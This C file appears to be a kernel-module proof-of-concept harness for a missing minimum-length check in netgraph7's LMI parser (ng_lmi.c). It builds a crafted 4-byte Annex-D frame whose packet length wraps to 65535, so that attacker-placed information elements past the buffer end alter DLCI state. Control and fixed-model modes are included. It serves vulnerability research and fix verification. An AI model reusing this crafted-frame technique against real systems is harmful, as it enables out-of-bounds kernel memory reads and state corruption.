/*
 * DF-2603 rig -- ng_lmi.c (netgraph7) compiled in (only linkage edits).
 *
 * LMI_MIN_LENGTH=8 is defined (ng_lmi.c:88) but never enforced; neither
 * nglmi_rcvdata nor nglmi_checkdata validates a minimum packet length,
 * and STEPBY() decrements the u_short packetlen unchecked -- a 4-byte
 * Annex-D frame makes packetlen wrap 0 -> 65535 and the IE loop walks
 * data[] far past m_len (OOB heap reads).
 *
 * mode 0: 4-byte Annex-D frame [03 09 00 7D] + 0x95 locking shift residue
 *         -> wrap + walk past m_len (controlled IEs past the packet drive
 *         DLCI "seen" state = observable via dlci_state[]).
 * mode 1: control, same frame with 8 legal bytes (no wrap).
 * mode 2: FIXED model: minimum-length guard rejects.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/mbuf.h>

#include <netgraph7/netgraph.h>
#include <netgraph7/lmi/ng_lmi.h>

extern int nglmi_checkdata(hook_p hook, struct mbuf *m);

#include "priv_snapshot.h"

static char df_status[8192];
static struct ng_node df_node;
static struct ng_hook df_hook;
static struct nglmi_softc *df_sc;

static struct mbuf *
mkpkt(const u_char *d, int len, int trail_len, u_char fill)
{
	/* cluster with `len` valid bytes + `trail_len` stale-residue bytes
	 * (m_len = len; the residue stays readable past m_len) */
	struct mbuf *m = m_gethdr(M_WAITOK, MT_DATA);
	MCLGET(m, M_WAITOK);
	memset(mtod(m, caddr_t), fill, MCLBYTES);
	memcpy(mtod(m, caddr_t), d, len);
	m->m_len = len;
	m->m_pkthdr.len = len;
	return (m);
}

static void
df_run_lmi(int mode)
{
	char *p = df_status;
	int t = 0, i;
	struct mbuf *m;
	u_char hdr4[4] = { 0x03, 0x09, 0x00, 0x7D };
	u_char full8[8] = { 0x03, 0x09, 0x00, 0x7D, 0x95, 0x01, 0x01, 0x01 };
	int rc;

	memset(&df_node, 0, sizeof(df_node));
	memset(&df_hook, 0, sizeof(df_hook));
	df_sc = kmalloc(sizeof(*df_sc), M_NETGRAPH, M_WAITOK | M_ZERO);
	df_node.nd_private = df_sc;
	df_hook.hk_node = &df_node;
	df_sc->flags = SCF_FIXED | SCF_ANNEX_D;	/* fixed annexD mode */
	df_sc->protoID = 9;

	if (mode == 2) {
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "LMI[FIXED]: 4-byte frame rejected by the "
		    "LMI_MIN_LENGTH guard\n");
		return;
	}

	if (mode == 0) {
		/* 4-byte frame; the Annex-D 0x95 locking shift is BEYOND
		 * m_len -- read as residue.  Residue after the 4 valid
		 * bytes: [0x95][crafted IE stream] */
		u_char trail[64];
		memset(trail, 0, sizeof(trail));
		trail[0] = 0x95;	/* locking shift (consumed via STEPBY) */
		/* IE stream (report type): type=1 size=1 val=1 */
		trail[1] = 0x01; trail[2] = 0x01; trail[3] = 0x01;
		/* keep-alive IE: type=3 size=2 seqs */
		trail[4] = 0x03; trail[5] = 0x02;
		trail[6] = 0x41; trail[7] = 0x42;
		/* full-status IE with DLCI entries: type=7 size=7 */
		trail[8] = 0x07; trail[9] = 0x07;
		trail[10] = 0x08; trail[11] = 0x41;	/* dlci 0x1041 */
		trail[12] = 0x06;			/* active bits */
		trail[13] = 0; trail[14] = 0; trail[15] = 0;
		m = mkpkt(hdr4, 4, 64, 0);
		memcpy(mtod(m, caddr_t) + 4, trail, 40);
		m->m_len = 4;			/* ONLY 4 valid bytes */
		m->m_pkthdr.len = 4;
	} else {
		m = mkpkt(full8, 8, 56, 0);
	}

	rc = nglmi_checkdata(&df_hook, m);	/* VERBATIM parser */
	t += ksnprintf(p + t, sizeof(df_status) - t,
	    "LMI[mode=%d]: checkdata rc=%d m_len=%d\n", mode, rc, m->m_len);
	{
		int seen = 0;
		for (i = 0; i <= MAXDLCI; i++)
			if (df_sc->dlci_state[i]) seen++;
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "    dlci_state[] nonzero bytes: %d\n", seen);
		t += ksnprintf(p + t, sizeof(df_status) - t,
		    "LMI: RESULT=%s\n",
		    mode == 0 ?
		    (seen > 0 ?
		    "OOB PARSE: DLCI state updated from IEs located "
		    "ENTIRELY past m_len (packetlen wrap 0->65535 walked "
		    "the residue)" :
		    "wrap walk happened (log/dmesg) but residue IEs not "
		    "applied this run") :
		    "control: 8-byte frame parsed in-bounds");
	}
	m_freem(m);
	kfree(df_sc, M_NETGRAPH);
}

static int
dfv_lmi_sysctl(SYSCTL_HANDLER_ARGS)
{
	char out[8192];
	int error, v = 0;

	if (req->newptr != NULL) {
		error = sysctl_handle_int(oidp, &v, 0, req);
		if (error)
			return error;
		df_status[0] = 0;
		if (v >= 0 && v <= 2)
			df_run_lmi(v);
		else
			return EINVAL;
		return 0;
	}
	ksnprintf(out, sizeof(out), "%s", df_status);
	return SYSCTL_OUT(req, out, strlen(out) + 1);
}
SYSCTL_PROC(_kern, OID_AUTO, dfv_lmi_run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, dfv_lmi_sysctl, "I", "dfv_lmi");

static int
dfv_lmi_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD: kprintf("dfv_lmi: loaded\n"); return 0;
	default: return 0;
	}
}
static moduledata_t dfv_lmi_mod = { "dfv_lmi", dfv_lmi_load, NULL };
DECLARE_MODULE(dfv_lmi, dfv_lmi_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
